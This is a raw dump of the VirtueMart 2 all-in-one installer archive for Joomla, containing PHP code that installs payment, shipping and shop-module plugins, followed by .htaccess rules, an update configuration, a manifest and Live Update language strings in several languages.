'sofort_ideal', 'vmpayment'); $this->installPlugin ('By weight, ZIP and countries', 'plugin', 'weight_countries', 'vmshipment', 1); $this->installPlugin ('Customer text input', 'plugin', 'textinput', 'vmcustom', 1); $this->installPlugin ('Product specification', 'plugin', 'specification', 'vmcustom', 1); $this->installPlugin ('Stockable variants', 'plugin', 'stockable', 'vmcustom', 1); $this->installPlugin ('Avalara Tax', 'plugin', 'avalara', 'vmcalculation' ); // $table = '#__virtuemart_customs'; // $fieldname = 'field_type'; // $fieldvalue = 'G'; // $this->addToRequired($table,$fieldname,$fieldvalue,"INSERT INTO `#__virtuemart_customs` // (`custom_parent_id`, `admin_only`, `custom_title`, `custom_tip`, `custom_value`, `custom_field_desc`, // `field_type`, `is_list`, `is_hidden`, `is_cart_attribute`, `published`) VALUES // (0, 0, 'COM_VIRTUEMART_STOCKABLE_PRODUCT', 'COM_VIRTUEMART_STOCKABLE_PRODUCT_TIP', NULL, // 'COM_VIRTUEMART_STOCKABLE_PRODUCT_DESC', 'G', 0, 0, 0, 1 );"); $this->installPlugin ('VirtueMart Product', 'plugin', 'virtuemart', 'search'); $task = JRequest::getCmd ('task'); if ($task != 'updateDatabase') { // modules auto move $src = $this->path . DS . "modules"; $dst = JPATH_ROOT . DS . "modules"; $this->recurse_copy ($src, $dst); echo "Checking VirtueMart2 modules..."; if (!$this->VmModulesAlreadyInstalled ()) { echo "Installing VirtueMart2 modules
      "; if (version_compare (JVERSION, '1.6.0', 'ge')) { $defaultParams = '{"text_before":"","product_currency":"","cache":"1","moduleclass_sfx":"","class_sfx":""}'; } else { $defaultParams = "text_before=\nproduct_currency=\ncache=1\nmoduleclass_sfx=\nclass_sfx=\n"; } $this->installModule ('VM - Currencies Selector', 'mod_virtuemart_currencies', 4, $defaultParams); if (version_compare (JVERSION, '1.6.0', 'ge')) { $defaultParams = '{"product_group":"featured","max_items":"1","products_per_row":"1","display_style":"list","show_price":"1","show_addtocart":"1","headerText":"Best products","footerText":"","filter_category":"0","virtuemart_category_id":"0","cache":"0","moduleclass_sfx":"","class_sfx":""}'; } else { $defaultParams = "product_group=featured\nmax_items=1\nproducts_per_row=1\ndisplay_style=list\nshow_price=1\nshow_addtocart=1\nheaderText=Best products\nfooterText=\nfilter_category=0\ncategory_id=1\ncache=0\nmoduleclass_sfx=\nclass_sfx=\n"; } $this->installModule ('VM - Featured products', 'mod_virtuemart_product', 3, $defaultParams); if (version_compare (JVERSION, '1.6.0', 'ge')) { $defaultParams = '{"product_group":"topten","max_items":"1","products_per_row":"1","display_style":"list","show_price":"1","show_addtocart":"1","headerText":"","footerText":"","filter_category":"0","virtuemart_category_id":"0","cache":"0","moduleclass_sfx":"","class_sfx":""}'; } else { $defaultParams = "product_group=topten\nmax_items=1\nproducts_per_row=1\ndisplay_style=list\nshow_price=1\nshow_addtocart=1\nheaderText=\nfooterText=\nfilter_category=0\ncategory_id=1\ncache=0\nmoduleclass_sfx=\nclass_sfx=\n"; } $this->installModule ('VM - Best Sales', 'mod_virtuemart_product', 1, $defaultParams); if (version_compare (JVERSION, '1.6.0', 'ge')) { $defaultParams = '{"width":"20","text":"","button":"","button_pos":"right","imagebutton":"","button_text":""}'; } else { $defaultParams = "width=20\ntext=\nbutton=\nbutton_pos=right\nimagebutton=\nbutton_text=\nmoduleclass_sfx=\ncache=1\ncache_time=900\n"; } $this->installModule ('VM - Search in Shop', 'mod_virtuemart_search', 2, $defaultParams); if (version_compare (JVERSION, '1.6.0', 'ge')) { $defaultParams = '{"show":"all","display_style":"list","manufacturers_per_row":"1","headerText":"","footerText":""}'; } else { $defaultParams = "show=all\ndisplay_style=div\nmanufacturers_per_row=1\nheaderText=\nfooterText=\ncache=0\nmoduleclass_sfx=\nclass_sfx="; } $this->installModule ('VM - Manufacturer', 'mod_virtuemart_manufacturer', 5, $defaultParams); if (version_compare (JVERSION, '1.6.0', 'ge')) { $defaultParams = '{"moduleclass_sfx":"","show_price":"1","show_product_list":"1"}'; } else { $defaultParams = "moduleclass_sfx=\nshow_price=1\nshow_product_list=1\n"; } $this->installModule ('VM - Shopping cart', 'mod_virtuemart_cart', 0, $defaultParams); if (version_compare (JVERSION, '1.6.0', 'ge')) { $defaultParams = '{"Parent_Category_id":"0","layout":"default","cache":"0","moduleclass_sfx":"","class_sfx":""}'; } else { $defaultParams = "moduleclass_sfx=\nclass_sfx=\ncategory_name=default\ncache=no\n"; } $this->installModule ('VM - Category', 'mod_virtuemart_category', 6, $defaultParams); } else { echo "VirtueMart2 modules already installed
      "; } // language auto move $src = $this->path . DS . "languageFE"; $dst = JPATH_ROOT . DS . "language"; $this->recurse_copy ($src, $dst); echo " VirtueMart2 language moved to the joomla language FE folder
      "; // language auto move $src = $this->path . DS . "languageBE"; $dst = JPATH_ADMINISTRATOR . DS . "language"; $this->recurse_copy ($src, $dst); echo " VirtueMart2 language moved to the joomla language BE folder
      "; // libraries auto move $src = $this->path . DS . "libraries"; $dst = JPATH_ROOT . DS . "libraries"; $this->recurse_copy ($src, $dst); echo " VirtueMart2 pdf moved to the joomla libraries folder
      "; //update plugins, make em loggable /* $loggables = array( 'created_on' => 'DATETIME NOT NULL DEFAULT "0000-00-00 00:00:00"', 'created_by' => 'INT(11) NOT NULL DEFAULT "0"', 'modified_on'=> 'DATETIME NOT NULL DEFAULT "0000-00-00 00:00:00"', 'modified_by'=> 'INT(11) NOT NULL DEFAULT "0"', 'locked_on' =>'DATETIME NOT NULL DEFAULT "0000-00-00 00:00:00"', 'locked_by' =>'INT(11) NOT NULL DEFAULT "0"' ); foreach($loggables as $key => $value){ $this->checkAddFieldToTable('#__virtuemart_payment_paypal',$key,$value); $this->checkAddFieldToTable('#__virtuemart_payment_standard',$key,$value); $this->checkAddFieldToTable('#__virtuemart_shipment_weight_countries',$key,$value); }*/ echo "

      Installing Virtuemart Plugins and modules Success.

      "; echo "

      You may directly uninstall this component. Your plugins will remain. But we advice to keep the AIO installer for updating

      "; } else { echo "

      Updated Virtuemart Plugin tables

      "; } $this->updateOrderingExtensions(); return TRUE; } private function updateOrderingExtensions(){ $db = JFactory::getDBO (); $q = 'UPDATE `#__extensions` SET `ordering`= 5 WHERE `folder` ="vmpayment"'; $db->setQuery($q); $db->query(); $q = 'UPDATE `#__extensions` SET `ordering`= 1 WHERE `element` ="klarna"'; $db->setQuery($q); $db->query(); $q = 'UPDATE `#__extensions` SET `ordering`= 2 WHERE `element` ="sofort"'; $db->setQuery($q); $db->query(); $q = 'UPDATE `#__extensions` SET `ordering`= 2 WHERE `element` ="sofort_ideal"'; $db->setQuery($q); $db->query(); $q = 'UPDATE `#__extensions` SET `ordering`= 3 WHERE `element` ="paypal"'; $db->setQuery($q); $db->query(); $q = 'UPDATE `#__extensions` SET `ordering`= 100 WHERE `element` ="payzen"'; $db->setQuery($q); $db->query(); $q = 'UPDATE `#__extensions` SET `ordering`= 100 WHERE `element` ="systempay"'; $db->setQuery($q); $db->query(); } /** * Installs a vm plugin into the database * */ private function installPlugin ($name, $type, $element, $group, $published = 0, $createJPluginTable = 1) { $task = JRequest::getCmd ('task'); if ($task != 'updateDatabase') { $data = array(); $src = $this->path . DS . 'plugins' . DS . $group . DS . $element; if ($createJPluginTable) { if (version_compare (JVERSION, '1.7.0', 'ge')) { // Joomla! 1.7 code here $table = JTable::getInstance ('extension'); $data['enabled'] = $published; $data['access'] = 1; $tableName = '#__extensions'; $idfield = 'extension_id'; } elseif (version_compare (JVERSION, '1.6.0', 'ge')) { // Joomla! 1.6 code here $table = JTable::getInstance ('extension'); $data['enabled'] = $published; $data['access'] = 1; $tableName = '#__extensions'; $idfield = 'extension_id'; } else { // Joomla! 1.5 code here $table = JTable::getInstance ('plugin'); $data['published'] = $published; $data['access'] = 0; $tableName = '#__plugins'; $idfield = 'id'; } $data['name'] = $name; $data['type'] = $type; $data['element'] = $element; $data['folder'] = $group; $data['client_id'] = 0; $db = JFactory::getDBO (); $q = 'SELECT COUNT(*) FROM `' . $tableName . '` WHERE `element` = "' . $element . '" and folder = "' . $group . '" '; $db->setQuery ($q); $count = $db->loadResult (); //We write only in the table, when it is not installed already if ($count == 0) { // $table->load($count); if (version_compare (JVERSION, '1.6.0', 'ge')) { $data['manifest_cache'] = json_encode (JApplicationHelper::parseXMLInstallFile ($src . DS . $element . '.xml')); } if (!$table->bind ($data)) { $app = JFactory::getApplication (); $app->enqueueMessage ('VMInstaller table->bind throws error for ' . $name . ' ' . $type . ' ' . $element . ' ' . $group); } if (!$table->check ($data)) { $app = JFactory::getApplication (); $app->enqueueMessage ('VMInstaller table->check throws error for ' . $name . ' ' . $type . ' ' . $element . ' ' . $group); } if (!$table->store ($data)) { $app = JFactory::getApplication (); $app->enqueueMessage ('VMInstaller table->store throws error for ' . $name . ' ' . $type . ' ' . $element . ' ' . $group); } $errors = $table->getErrors (); foreach ($errors as $error) { $app = JFactory::getApplication (); $app->enqueueMessage (get_class ($this) . '::store ' . $error); } // remove duplicated } elseif ($count == 2) { $q = 'SELECT ' . $idfield . ' FROM `' . $tableName . '` WHERE `element` = "' . $element . '" ORDER BY `' . $idfield . '` DESC LIMIT 0,1'; $db->setQuery ($q); $duplicatedPlugin = $db->loadResult (); $q = 'DELETE FROM `' . $tableName . '` WHERE ' . $idfield . ' = ' . $duplicatedPlugin; $db->setQuery ($q); $db->query (); } } } if (version_compare (JVERSION, '1.7.0', 'ge')) { // Joomla! 1.7 code here $dst = JPATH_ROOT . DS . 'plugins' . DS . $group . DS . $element; } elseif (version_compare (JVERSION, '1.6.0', 'ge')) { // Joomla! 1.6 code here $dst = JPATH_ROOT . DS . 'plugins' . DS . $group . DS . $element; } else { // Joomla! 1.5 code here $dst = JPATH_ROOT . DS . 'plugins' . DS . $group; } if ($task != 'updateDatabase') { $this->recurse_copy ($src, $dst); } if ($group != 'search') { $this->updatePluginTable ($name, $type, $element, $group, $dst); } else { if (version_compare (JVERSION, '1.6.0', 'ge')) { $this->updatePluginTable ($name, $type, $element, $group, $dst); } } } public function updatePluginTable ($name, $type, $element, $group, $dst) { $app = JFactory::getApplication (); //Update Tables if (!class_exists ('VmConfig')) { require(JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_virtuemart' . DS . 'helpers' . DS . 'config.php'); } if (class_exists ('VmConfig')) { $pluginfilename = $dst . DS . $element . '.php'; require ($pluginfilename); //plgVmpaymentPaypal $pluginClassname = 'plg' . ucfirst ($group) . ucfirst ($element); //Let's get the global dispatcher $dispatcher = JDispatcher::getInstance (); $config = array('type' => $group, 'name' => $group, 'params' => ''); $plugin = new $pluginClassname($dispatcher, $config); ; // $updateString = $plugin->getVmPluginCreateTableSQL(); //if(function_exists($plugin->getTableSQLFields)){ $_psType = substr ($group, 2); $tablename = '#__virtuemart_' . $_psType . '_plg_' . $element; $db = JFactory::getDBO (); $prefix = $db->getPrefix (); $query = 'SHOW TABLES LIKE "' . str_replace ('#__', $prefix, $tablename) . '"'; $db->setQuery ($query); $result = $db->loadResult (); //$app -> enqueueMessage( get_class( $this ).':: '.$query.' '.$result); if ($result) { $SQLfields = $plugin->getTableSQLFields (); $loggablefields = $plugin->getTableSQLLoggablefields (); $tablesFields = array_merge ($SQLfields, $loggablefields); $update[$tablename] = array($tablesFields, array(), array()); vmdebug ('install plugin', $update); $app->enqueueMessage (get_class ($this) . ':: VirtueMart2 update ' . $tablename); if (!class_exists ('GenericTableUpdater')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); } $updater = new GenericTableUpdater(); $updater->updateMyVmTables ($update); } //} // } else { // $app = JFactory::getApplication(); // $app -> enqueueMessage( get_class( $plugin ).':: VirtueMart2 function getTableSQLFields not found'); // } } else { $app = JFactory::getApplication (); $app->enqueueMessage (get_class ($this) . ':: VirtueMart2 must be installed, or the tables cant be updated '); } } public function installModule ($title, $module, $ordering, $params) { $params = ''; $table = JTable::getInstance ('module'); $db = $table->getDBO (); $q = 'SELECT id FROM `#__modules` WHERE `module` = "' . $module . '" '; $db->setQuery ($q); $id = $db->loadResult (); $src = JPATH_ROOT . DS . 'modules' . DS . $module; if (!empty($id)) { return; } $table->load (); if (version_compare (JVERSION, '1.7.0', 'ge')) { // Joomla! 1.7 code here $position = 'position-4'; $access = 1; } else { if (version_compare (JVERSION, '1.6.0', 'ge')) { // Joomla! 1.6 code here $access = 1; } else { // Joomla! 1.5 code here $position = 'left'; $access = 0; } } if (empty($table->title)) { $table->title = $title; } if (empty($table->ordering)) { $table->ordering = $ordering; } if (empty($table->published)) { $table->published = 1; } if (empty($table->module)) { $table->module = $module; } if (empty($table->params)) { $table->params = $params; } if (empty($table->access)) { $table->access = $access; } if (empty($table->position)) { $table->position = $position; } if (empty($table->client_id)) { $table->client_id = $client_id = 0; } // $data['manifest_cache'] =''; // if(!empty($id)){ // unset($data['manifest_cache']); // $table->load($id); // if(empty($table->manifest_cache)){ // if(version_compare(JVERSION,'1.6.0','ge')) { // $data['manifest_cache'] = json_encode(JApplicationHelper::parseXMLInstallFile($src.DS.$module.'.xml')); // } // } // } // if(empty($count)){ // if(!$table->bind($data)){ // $app = JFactory::getApplication(); // $app -> enqueueMessage('VMInstaller table->bind throws error for '.$title.' '.$module.' '.$params); // } if (!$table->check ()) { $app = JFactory::getApplication (); $app->enqueueMessage ('VMInstaller table->check throws error for ' . $title . ' ' . $module . ' ' . $params); } if (!$table->store ()) { $app = JFactory::getApplication (); $app->enqueueMessage ('VMInstaller table->store throws error for for ' . $title . ' ' . $module . ' ' . $params); } $errors = $table->getErrors (); foreach ($errors as $error) { $app = JFactory::getApplication (); $app->enqueueMessage (get_class ($this) . '::store ' . $error); } // } $lastUsedId = $table->id; $q = 'SELECT moduleid FROM `#__modules_menu` WHERE `moduleid` = "' . $lastUsedId . '" '; $db->setQuery ($q); $moduleid = $db->loadResult (); $action = ''; if (empty($moduleid)) { $q = 'INSERT INTO `#__modules_menu` (`moduleid`, `menuid`) VALUES( "' . $lastUsedId . '" , "0");'; } else { //$q = 'UPDATE `#__modules_menu` SET `menuid`= "0" WHERE `moduleid`= "'.$moduleid.'" '; } $db->setQuery ($q); $db->query (); if (version_compare (JVERSION, '1.6.0', 'ge')) { $q = 'SELECT extension_id FROM `#__extensions` WHERE `element` = "' . $module . '" '; $db->setQuery ($q); $ext_id = $db->loadResult (); // $manifestCache = str_replace('"', '\'', $data["manifest_cache"]); $action = ''; if (empty($ext_id)) { if (version_compare (JVERSION, '1.6.0', 'ge')) { $manifest_cache = json_encode (JApplicationHelper::parseXMLInstallFile ($src . DS . $module . '.xml')); } $q = 'INSERT INTO `#__extensions` (`name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `ordering`) VALUES ( "' . $module . '" , "module", "' . $module . '", "", "0", "1","' . $access . '", "0", "' . $db->getEscaped ($manifest_cache) . '", "' . $params . '","' . $ordering . '");'; } else { /* $q = 'UPDATE `#__extensions` SET `name`= "'.$module.'", `type`= "module", `element`= "'.$module.'", `folder`= "", `client_id`= "'.$client_id.'", `enabled`= "1", `access`= "'.$access.'", `protected`= "0", `ordering`= "'.$ordering.'" WHERE `extension_id`= "'.$ext_id.'" ';*/ } $db->setQuery ($q); if (!$db->query ()) { $app = JFactory::getApplication (); $app->enqueueMessage (get_class ($this) . ':: ' . $db->getErrorMsg ()); } } } public function VmModulesAlreadyInstalled () { // when the modules are already installed publish=-2 $table = JTable::getInstance ('module'); $db = $table->getDBO (); $q = 'SELECT count(*) FROM `#__modules` WHERE `module` LIKE "mod_virtuemart_%"'; $db->setQuery ($q); $count = $db->loadResult (); return $count; } /** * @author Max Milbers * @param string $tablename * @param string $fields * @param string $command */ private function alterTable ($tablename, $fields, $command = 'CHANGE') { if (empty($this->db)) { $this->db = JFactory::getDBO (); } $query = 'SHOW COLUMNS FROM `' . $tablename . '` '; $this->db->setQuery ($query); $columns = $this->db->loadResultArray (0); foreach ($fields as $fieldname => $alterCommand) { if (in_array ($fieldname, $columns)) { $query = 'ALTER TABLE `' . $tablename . '` ' . $command . ' COLUMN `' . $fieldname . '` ' . $alterCommand; $this->db->setQuery ($query); $this->db->query (); } } } /** * * @author Max Milbers * @param string $table * @param string $field * @param string $fieldType * @return boolean This gives true back, WHEN it altered the table, you may use this information to decide for extra post actions */ private function checkAddFieldToTable ($table, $field, $fieldType) { $query = 'SHOW COLUMNS FROM `' . $table . '` '; $this->db->setQuery ($query); $columns = $this->db->loadResultArray (0); if (!in_array ($field, $columns)) { $query = 'ALTER TABLE `' . $table . '` ADD ' . $field . ' ' . $fieldType; $this->db->setQuery ($query); if (!$this->db->query ()) { $app = JFactory::getApplication (); $app->enqueueMessage ('Install checkAddFieldToTable ' . $this->db->getErrorMsg ()); return FALSE; } else { return TRUE; } } return FALSE; } private function updateShipperToShipment () { if (empty($this->db)) { $this->db = JFactory::getDBO (); } if (version_compare (JVERSION, '1.6.0', 'ge')) { // Joomla! 1.6 code here $table = JTable::getInstance ('extension'); $tableName = '#__extensions'; $idfield = 'extension_id'; } else { // Joomla! 1.5 code here $table = JTable::getInstance ('plugin'); $tableName = '#__plugins'; $idfield = 'id'; } $q = 'SELECT ' . $idfield . ' FROM ' . $tableName . ' WHERE `folder` = "vmshipper" '; $this->db->setQuery ($q); $result = $this->db->loadResult (); if ($result) { $q = 'UPDATE `' . $tableName . '` SET `folder`="vmshipment" WHERE `extension_id`= ' . $result; $this->db->setQuery ($q); $this->db->query (); } } /** * copy all $src to $dst folder and remove it * * @author Max Milbers * @param String $src path * @param String $dst path * @param String $type modules, plugins, languageBE, languageFE */ private function recurse_copy ($src, $dst) { $dir = opendir ($src); $this->createIndexFolder ($dst); if (is_resource ($dir)) { while (FALSE !== ($file = readdir ($dir))) { if (($file != '.') && ($file != '..')) { if (is_dir ($src . DS . $file)) { $this->recurse_copy ($src . DS . $file, $dst . DS . $file); } else { if (JFile::exists ($dst . DS . $file)) { if (!JFile::delete ($dst . DS . $file)) { $app = JFactory::getApplication (); $app->enqueueMessage ('Couldnt delete ' . $dst . DS . $file); } } if (!JFile::move ($src . DS . $file, $dst . DS . $file)) { $app = JFactory::getApplication (); $app->enqueueMessage ('Couldnt move ' . $src . DS . $file . ' to ' . $dst . DS . $file); } } } } closedir ($dir); if (is_dir ($src)) { JFolder::delete ($src); } } else { $app = JFactory::getApplication (); $app->enqueueMessage ('Couldnt read dir ' . $dir . ' source ' . $src); } } public function uninstall () { return TRUE; } /** * creates a folder with empty html file * * @author Max Milbers * */ public function createIndexFolder ($path) { if (JFolder::create ($path)) { if (!JFile::exists ($path . DS . 'index.html')) { JFile::copy (JPATH_ROOT . DS . 'components' . DS . 'index.html', $path . DS . 'index.html'); } return TRUE; } return FALSE; } } // PLZ look in #vminstall.php# to add your plugin and module function com_install () { if (!version_compare (JVERSION, '1.6.0', 'ge')) { $vmInstall = new com_virtuemart_allinoneInstallerScript(); $vmInstall->vmInstall (); } return TRUE; } function com_uninstall () { return TRUE; } } //if defined // pure php no tag PKs>\)!com_virtuemart_allinone/.htaccessnuW+A Order allow,deny Deny from all PKs>\ߋ"com_virtuemart_allinone/config.phpnuW+A */ defined('_JEXEC') or die(); /** * Configuration class for your extension's updates. Override to your liking. */ class LiveUpdateConfig extends LiveUpdateAbstractConfig { var $_extensionName = 'com_virtuemart_allinone'; var $_extensionTitle = 'Virtuemart 2 All in one Installer'; var $_updateURL = 'http://virtuemart.net/index.php?option=com_ars&view=update&format=ini&id=4'; var $_requiresAuthorization = false; var $_versionStrategy = 'different'; function __construct() { $this->_cacerts = dirname(__FILE__).'/../assets/cacert.pem'; parent::__construct(); } }PKs>\H-vm::#com_virtuemart_allinone/install.xmlnuW+A VirtueMart_allinone January 10 2014 Copyright (C) 2004-2013 Virtuemart Team. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL The VirtueMart Development Team http://www.virtuemart.net 2.0.26d script.vmallinone.php script.vmallinone.php script.vmallinone.php VirtueMart AIO index.html admin.virtuemart_allinone.php config.php assets classes language languageBE languageFE libraries plugins modules PKs>\> 55;com_virtuemart_allinone/language/th-TH/th-TH.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="เซิฟเวอร์นี่ไม่รองรับ Live Update" LIVEUPDATE_NOTSUPPORTED_INFO="Your server indicates that Live Update is not supported. กรุณาติดต่อผู้ให้บริการโฮสและบอกให้เปิดใช้ cURL PHP extension หรือ activate the URL fopen() wrappers. If these are already enabled, please ask them to configure their firewall so that it allows access to the following URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="คุณยังสามารถทำการปรับปรุง %s โดยการเข้าไปยังเว็บไซต์ด้วยตนเอง แล้วทำการดาวน์โหลดเวอร์ชั่นล่าสุด มาติดตั้งใหม่ ผ่านทาง การติดตั้งส่วนขยาย ในจูมล่า" LIVEUPDATE_STUCK_HEAD="Live Update has marked itself as crashed" LIVEUPDATE_STUCK_INFO="Live Update determined that it crashed the last time it tried to contact the update server. This usually indicates a host which actively blocks communications with external sites. If you would like to retry fetching the update information, please click the "Refresh update information" button below. If that results to a blank page, please contact your host and report this issue." LIVEUPDATE_ERROR_NEEDSAUTH="You have to supply your username/password or Download ID to the component's parameters before trying to upgrade to the latest release. The upgrade button will remain disabled until you do that." LIVEUPDATE_HASUPDATES_HEAD="มีเวอร์ชั่นใหม่กว่าแล้ว" LIVEUPDATE_NOUPDATES_HEAD="คุณใช้เวอร์ชั่นล่าสุดอยู่แล้ว " LIVEUPDATE_CURRENTVERSION="เวอร์ชั่นที่ติดตั้ง" LIVEUPDATE_LATESTVERSION="เวอร์ชั่น ล่าสุด" LIVEUPDATE_LATESTRELEASED="วันที่ รีรีสล่าสุด" LIVEUPDATE_DOWNLOADURL="Direct download URL" LIVEUPDATE_REFRESH_INFO="รีเฟรช เพื่อปรับปรุงข้อมูล" LIVEUPDATE_DO_UPDATE="ปรับปรุงเป็นเวอร์ชั่นล่าสุด" LIVEUPDATE_FTP_REQUIRED="Live Update determined that it needs to use FTP in order to download and install your update, but you have not saved your FTP login information in your Joomla! Global Configuration.

      Please provide the FTP username and password below to proceed with the update." LIVEUPDATE_FTP="รายละเอียด FTP" LIVEUPDATE_FTPUSERNAME="FTP Username" LIVEUPDATE_FTPPASSWORD="FTP Password" LIVEUPDATE_DOWNLOAD_AND_INSTALL="ดาวน์โหลด และติดตั้งเวอร์ชั่นล่าสุด" LIVEUPDATE_DOWNLOAD_FAILED="ดาวน์โหลดแพคเกจอับเดดผิดพลาด ตรวจสอบ temp-directory ของคุณสามารถเขียนได้ หรือคุณได้ทำการเปิดตัวเลือก Joomla!'s FTP ใน site's Global Configuration แล้ว" LIVEUPDATE_EXTRACT_FAILED="การแตกไฟล์แพคเกจล้มเหลว กรุณาลองปรับปรุงส่วนขยายด้วยตนเอง" LIVEUPDATE_INVALID_PACKAGE_TYPE="ประเภทแพคเกจไม่ถูกต้อง ไม่สามารถทำการปรับปรุงได้ " LIVEUPDATE_INSTALLEXT="ติดตั้ง %s %s" LIVEUPDATE_ERROR="ผิดพลาด" LIVEUPDATE_SUCCESS="สำเร็จ" LIVEUPDATE_ICON_UNSUPPORTED="ไม่รองรับ Live Update" LIVEUPDATE_ICON_CRASHED="Live Update เสียหาย" LIVEUPDATE_ICON_CURRENT="คุณใช้งานเวอร์ชั่นล่าสุดอยู่" LIVEUPDATE_ICON_UPDATES="พบการปรับปรุง คลิกเพื่อทำการปรับปรุง"PKs>\)0com_virtuemart_allinone/language/th-TH/.htaccessnuW+A Order allow,deny Deny from all PKs>\)0com_virtuemart_allinone/language/da-DK/.htaccessnuW+A Order allow,deny Deny from all PKs>\kN ;com_virtuemart_allinone/language/da-DK/da-DK.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Opdatering" LIVEUPDATE_NOTSUPPORTED_HEAD="Live opdatering understøttes ikke af denne server" LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at Live opdatering ikke er understøttet. Kontakt venligst din udbyder og spørg dem om at aktivere cURL PHP udvidelsen eller aktivere URL fopen() wrappers. Hvis disse allerede er aktive, så spørg dem venligst om at konfigurere deres firewall, således at den tillader adgang til følgende :"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan altid opdatere %s ved at besøge vores side manuelt og hente den seneste udgivelse og derefter installere den ved at bruge Joomla!'s udvidelsesinstaller." LIVEUPDATE_STUCK_HEAD="Live opdatering melder at den gik ned" LIVEUPDATE_STUCK_INFO="Live opdatering opdagede at den gik ned sidste gang den prøvede at kontakte opdateringsserveren. Dette indikerer nomalt en udbyder der aktivt blokerer kommunikation med eksterne sider. Hvis du vil forsøge at hente opdateringsinformationen igen, klik da venligst på "Opdater opdateringsinformation" herunder. Hvis det resulterer i en blank side, så kontakt venligst din udbyder og rapporter dette problem." LIVEUPDATE_ERROR_NEEDSAUTH="Du skal angive dit brugernavn/adgangskode eller Download ID i komponentens indstillinger, før du kan opdatere til den seneste version. Opdateringsknappen vil forblive inaktiv indtil da." LIVEUPDATE_HASUPDATES_HEAD="En ny version er tilgængelig" LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den seneste version" LIVEUPDATE_CURRENTVERSION="Installeret version" LIVEUPDATE_LATESTVERSION="Seneste version" LIVEUPDATE_LATESTRELEASED="Seneste udgivelsesdato" LIVEUPDATE_DOWNLOADURL="Direkte download link" LIVEUPDATE_REFRESH_INFO="Opdater opdateringsinformation" LIVEUPDATE_DO_UPDATE="Opdater til seneste version" LIVEUPDATE_FTP_REQUIRED="Live opdatering har opdaget at den skal bruge FTP for at kunne hente og installere din opdatering, men da du har ikke gemt FTP logind information i din Joomla! globale konfiguration.

      Angiv venligst FTP brugernavn og adgangskode herunder for at fortsætte med opdateringen." LIVEUPDATE_FTP="FTP information" LIVEUPDATE_FTPUSERNAME="FTP Brugernavn" LIVEUPDATE_FTPPASSWORD="FTP Adgangskode" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Hent og installer opdatering" LIVEUPDATE_DOWNLOAD_FAILED="Hentning af opdateringspakken fejlede. Vær venligst sikker på at din temp mappe er skrivbar og at du har aktiveret Joomla!'s FTP mulighed i Joomla!'s globale konfiguration." LIVEUPDATE_EXTRACT_FAILED="Udpakning af opdateringspakken fejlede. Opdater venligst udvidelsen manuelt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakketype. Opdateringen kan ikke fortsætte." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Fejl" LIVEUPDATE_SUCCESS="Korrekt" LIVEUPDATE_ICON_UNSUPPORTED="Live opdatering er ikke understøttet" LIVEUPDATE_ICON_CRASHED="Live opdatering gik ned" LIVEUPDATE_ICON_CURRENT="Du har den seneste version" LIVEUPDATE_ICON_UPDATES="OPDATERING FUNDET! OPDATER NU."PKs>\)0com_virtuemart_allinone/language/nb-NO/.htaccessnuW+A Order allow,deny Deny from all PKs>\mfL L ;com_virtuemart_allinone/language/nb-NO/nb-NO.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live oppdatering" LIVEUPDATE_NOTSUPPORTED_HEAD="Live oppdatering støttes ikke på denne serveren" LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at Live oppdatering ikke støttes. Vennligst kontakt din leverandør og be dem aktivere cURL PHP eller aktivere URL fopen() wrappers. Dersom disse allerede er aktivert, kan du be dem om å konfigurere sin brannmur slik at den gir tilgang til følgende URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid oppdatere manuelt%s ved å besøke vår side, laste ned den nyeste versjonen, og installere det ved hjelp av Joomla installasjonsprogrammet." LIVEUPDATE_STUCK_HEAD="Live oppdatering har markert seg selv som krasjet" LIVEUPDATE_STUCK_INFO="Live oppdatering krasjet forrige gang den prøvde å kontakte oppdateringsserveren. Dette betyr vanligvis en leverandør som aktivt blokkerer kommunikasjon med eksterne nettsteder. Hvis du ønsker å prøve å hente oppdateringsinformasjonen, klikk på knappen "Oppdater oppdateringsinformasjonen" under. Hvis dette resulterer i en blank side, kontakte din leverandør og rapportere dette problemet." LIVEUPDATE_ERROR_NEEDSAUTH="Du må oppgi brukernavn/passord eller nedlastnings ID til komponentens parametre før du forsøker å oppgradere til siste versjon. Oppgraderingsknappen vil forbli deaktivert til du gjøre det." LIVEUPDATE_HASUPDATES_HEAD="En ny versjon er tilgjengelig" LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den nyeste versjonen" LIVEUPDATE_CURRENTVERSION="Installert versjon" LIVEUPDATE_LATESTVERSION="Nyeste versjon" LIVEUPDATE_LATESTRELEASED="Siste utgivelsesdato" LIVEUPDATE_DOWNLOADURL="Nedlastingsadresse" LIVEUPDATE_REFRESH_INFO="Oppdater oppdateringsinformasjonen" LIVEUPDATE_DO_UPDATE="Oppdatering til siste versjon" LIVEUPDATE_FTP_REQUIRED="Live oppdatering har behov for å bruke FTP for å laste ned og installere oppdateringen, men du har ikke lagret FTP påloggingsinformasjonen i Joomla! Global konfigurasjon .

